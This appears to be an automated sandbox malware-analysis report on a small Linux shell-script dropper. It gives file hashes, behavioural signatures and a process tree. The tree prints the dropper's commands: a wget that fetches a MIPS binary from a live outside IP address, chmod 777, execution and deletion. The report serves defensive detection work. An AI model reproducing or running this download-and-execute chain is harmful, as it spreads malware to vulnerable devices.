Analysis
- max time kernel
2s - max time network
4s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
17/08/2026, 15:12
Static task
static1
Behavioral task
behavioral1
Sample
ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh
Resource
debian9-mipsel-20260513-en
General
- Target ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh
- Size 1KB
- Sample260817-slchwsshqf
- SHA256 ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f
- MD5 a27a52fcf49fda4cd81f6d6fb1701204
- SHA1 7990e277027cef415e9340a266679ee3642a61d3
- SHA512 af09d6e2d1efd4d0c422ed5d9926d7cc1fa9712cc6c85ca13bc7ee4fff5108ea3035bb5d9e6dae0fb987334e32bd0eb40ed0137a7c390fe344b9cf80523352c4
- TLSH T101215E97E863C82758875C7DAFBD7050A983102B99B5EC55340EBC708F59D127082F72
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 739 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/x 741 ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/673/stat ps File opened for reading /proc/2/stat ps File opened for reading /proc/76/status ps File opened for reading /proc/125/status ps File opened for reading /proc/151/status ps File opened for reading /proc/678/status ps File opened for reading /proc/678/cmdline ps File opened for reading /proc/701/status ps File opened for reading /proc/703/status ps File opened for reading /proc/1/stat ps File opened for reading /proc/9/status ps File opened for reading /proc/11/status ps File opened for reading /proc/12/stat ps File opened for reading /proc/13/cmdline ps File opened for reading /proc/19/status ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/124/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/242/stat ps File opened for reading /proc/331/cmdline ps File opened for reading /proc/354/status ps File opened for reading /proc/354/cmdline ps File opened for reading /proc/359/status ps File opened for reading /proc/376/status ps File opened for reading /proc/37/stat ps File opened for reading /proc/69/stat ps File opened for reading /proc/79/cmdline ps File opened for reading /proc/677/status ps File opened for reading /proc/678/stat ps File opened for reading /proc/708/cmdline ps File opened for reading /proc/711/stat ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/11/stat ps File opened for reading /proc/71/stat ps File opened for reading /proc/711/status ps File opened for reading /proc/714/stat ps File opened for reading /proc/714/cmdline ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/8/stat ps File opened for reading /proc/125/stat ps File opened for reading /proc/377/cmdline ps File opened for reading /proc/709/cmdline ps File opened for reading /proc/711/cmdline ps File opened for reading /proc/716/stat ps File opened for reading /proc/5/stat ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/355/cmdline ps File opened for reading /proc/386/cmdline ps File opened for reading /proc/433/status ps File opened for reading /proc/673/status ps File opened for reading /proc/710/cmdline ps File opened for reading /proc/715/stat ps File opened for reading /proc/81/cmdline ps File opened for reading /proc/151/stat ps File opened for reading /proc/159/status ps File opened for reading /proc/242/cmdline ps File opened for reading /proc/377/stat ps File opened for reading /proc/715/status ps File opened for reading /proc/36/status ps File opened for reading /proc/69/cmdline ps File opened for reading /proc/79/stat ps - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 725 wget - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x wget
Processes
-
/tmp/ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh/tmp/ac619a5cba97b835cf875b44ce8486f147c66aa63fbd4990ad77a3b5017a147f.sh1⤵
- Executes dropped EXE
PID:711 -
/bin/psps w2⤵
- Reads CPU attributes
- Reads runtime system information
PID:713
-
-
/bin/grepgrep -v grep2⤵PID:715
-
-
/bin/grepgrep scn-sup2⤵PID:714
-
-
/bin/rmrm -f "x*"2⤵PID:721
-
-
/bin/unameuname -m2⤵PID:723
-
-
/usr/bin/wgetwget -q -O x http://198.144.179.82:80/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:725
-
-
/bin/chmodchmod 777 x2⤵
- File and Directory Permissions Modification
PID:739
-
-
/tmp/x./x2⤵PID:741
-
-
/bin/rmrm -f x2⤵PID:744
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/x
- Size 282KB
- SHA256 65d134beed4063007e30b18962be3635aa2e3fdba4aa78ad7a57a2e26c217ccd
- MD5 e81fd74063ad2b086720d60e391b5792
- SHA1 fa4e6402d1a5ab8748561878ccbf60038e6c8509
- SHA512 efcae5768306322c48ceb6934dd11759872f0f1b840ca7a0e53e26c174e7ccfd8c0a89b8d2aae47ed126dce12019b13ccf519e033101a445237c44888bb11b74
- SSDEEP 6144:poGP+nWnkaazcgdPiyWLvBw50a0fEEssMOgh5oae7:dgd6yogtEssMOgh5oae7
- TLSH T1AE54E61A6E728F3DF2698B3547F74A25975822D713E5D640F16CD1102F2029EA82FFE8
- MD5 SHA1 SHA512 SSDEEP TLSH